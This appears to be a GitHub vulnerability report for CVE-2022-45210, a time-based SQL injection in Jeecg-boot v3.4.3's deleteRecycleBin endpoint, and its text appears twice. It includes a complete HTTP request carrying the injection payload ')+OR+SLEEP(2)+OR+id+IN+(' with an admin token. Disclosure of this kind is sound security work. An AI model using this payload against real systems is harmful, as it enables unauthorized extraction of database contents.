Jeecg-boot v3.4.3 was discovered to contain a SQL injection vulnerability via the component /sys/user/deleteRecycleBin.
# sysUserMapper.xml 
deleteLogicDeleted. You can see that no precompiling is performed
<img width="617" alt="截屏2022-10-25 11 04 50" src="https://user-images.githubusercontent.com/60163868/197672626-fb8257e3-ca86-484e-a4aa-e878ebb31c34.png">
# SysUserController.java
<img width="811" alt="截屏2022-10-25 11 06 04" src="https://user-images.githubusercontent.com/60163868/197672755-b9609039-c01a-42c9-9fec-00adfb6c22fb.png">

# SysUserServiceImpl.java
<img width="846" alt="截屏2022-10-25 11 06 35" src="https://user-images.githubusercontent.com/60163868/197672819-f5505608-26e4-4ba4-a7c5-ff6224d8ddce.png">
 So Users can pass in malicious parameters through http requests to achieve SQL injection

# poc
The website will return immediately when the following content is passed in
<img width="1617" alt="截屏2022-10-25 11 07 07" src="https://user-images.githubusercontent.com/60163868/197672893-82a45a08-2a8f-44ea-bde1-13e2e84044b6.png">
After the following content is passed in, the website will return after a delay of 2 seconds
<img width="1656" alt="截屏2022-10-25 11 07 36" src="https://user-images.githubusercontent.com/60163868/197672953-bcf770b9-d5d9-4f19-a9ac-416e14aef6a6.png">

# vuln
attack can user this to get data from database


# payload:
DELETE /jeecg-boot/sys/user/deleteRecycleBin?userIds=')+OR+SLEEP(2)+OR+id+IN+(' HTTP/1.1
Host: 192.168.1.1:8088
Content-Type: application/x-www-form-urlencoded
Accept: */*
knife4j-gateway-code: ROOT
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NjY2NjgzNjYsInVzZXJuYW1lIjoiYWRtaW4ifQ.WUx3LR8rvOp92_GueiJtlqtjV4tDRnOZos_-IAp34nA
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Request-Origion: Knife4j
Origin: http://192.168.1.1:8088
Referer: http://192.168.1.1:8088/jeecg-boot/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

# patch
In (${})
It seems that this cannot be modified to precompile
So it is recommended to add some keywords such as')
[CVE-2022-45210]/sys/user/deleteRecycleBin  is affected by sql injection 
This is a GitHub Issue
repo:jeecg-boot
owner:jeecgboot
Title : [CVE-2022-45210]/sys/user/deleteRecycleBin  is affected by sql injection 
Issue date:

--- start body ---
# sysUserMapper.xml 
deleteLogicDeleted. You can see that no precompiling is performed
<img width="617" alt="截屏2022-10-25 11 04 50" src="https://user-images.githubusercontent.com/60163868/197672626-fb8257e3-ca86-484e-a4aa-e878ebb31c34.png">
# SysUserController.java
<img width="811" alt="截屏2022-10-25 11 06 04" src="https://user-images.githubusercontent.com/60163868/197672755-b9609039-c01a-42c9-9fec-00adfb6c22fb.png">

# SysUserServiceImpl.java
<img width="846" alt="截屏2022-10-25 11 06 35" src="https://user-images.githubusercontent.com/60163868/197672819-f5505608-26e4-4ba4-a7c5-ff6224d8ddce.png">
 So Users can pass in malicious parameters through http requests to achieve SQL injection

# poc
The website will return immediately when the following content is passed in
<img width="1617" alt="截屏2022-10-25 11 07 07" src="https://user-images.githubusercontent.com/60163868/197672893-82a45a08-2a8f-44ea-bde1-13e2e84044b6.png">
After the following content is passed in, the website will return after a delay of 2 seconds
<img width="1656" alt="截屏2022-10-25 11 07 36" src="https://user-images.githubusercontent.com/60163868/197672953-bcf770b9-d5d9-4f19-a9ac-416e14aef6a6.png">

# vuln
attack can user this to get data from database


# payload:
DELETE /jeecg-boot/sys/user/deleteRecycleBin?userIds=')+OR+SLEEP(2)+OR+id+IN+(' HTTP/1.1
Host: 192.168.1.1:8088
Content-Type: application/x-www-form-urlencoded
Accept: */*
knife4j-gateway-code: ROOT
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NjY2NjgzNjYsInVzZXJuYW1lIjoiYWRtaW4ifQ.WUx3LR8rvOp92_GueiJtlqtjV4tDRnOZos_-IAp34nA
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Request-Origion: Knife4j
Origin: http://192.168.1.1:8088
Referer: http://192.168.1.1:8088/jeecg-boot/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

# patch
In (${})
It seems that this cannot be modified to precompile
So it is recommended to add some keywords such as')
--- end body ---
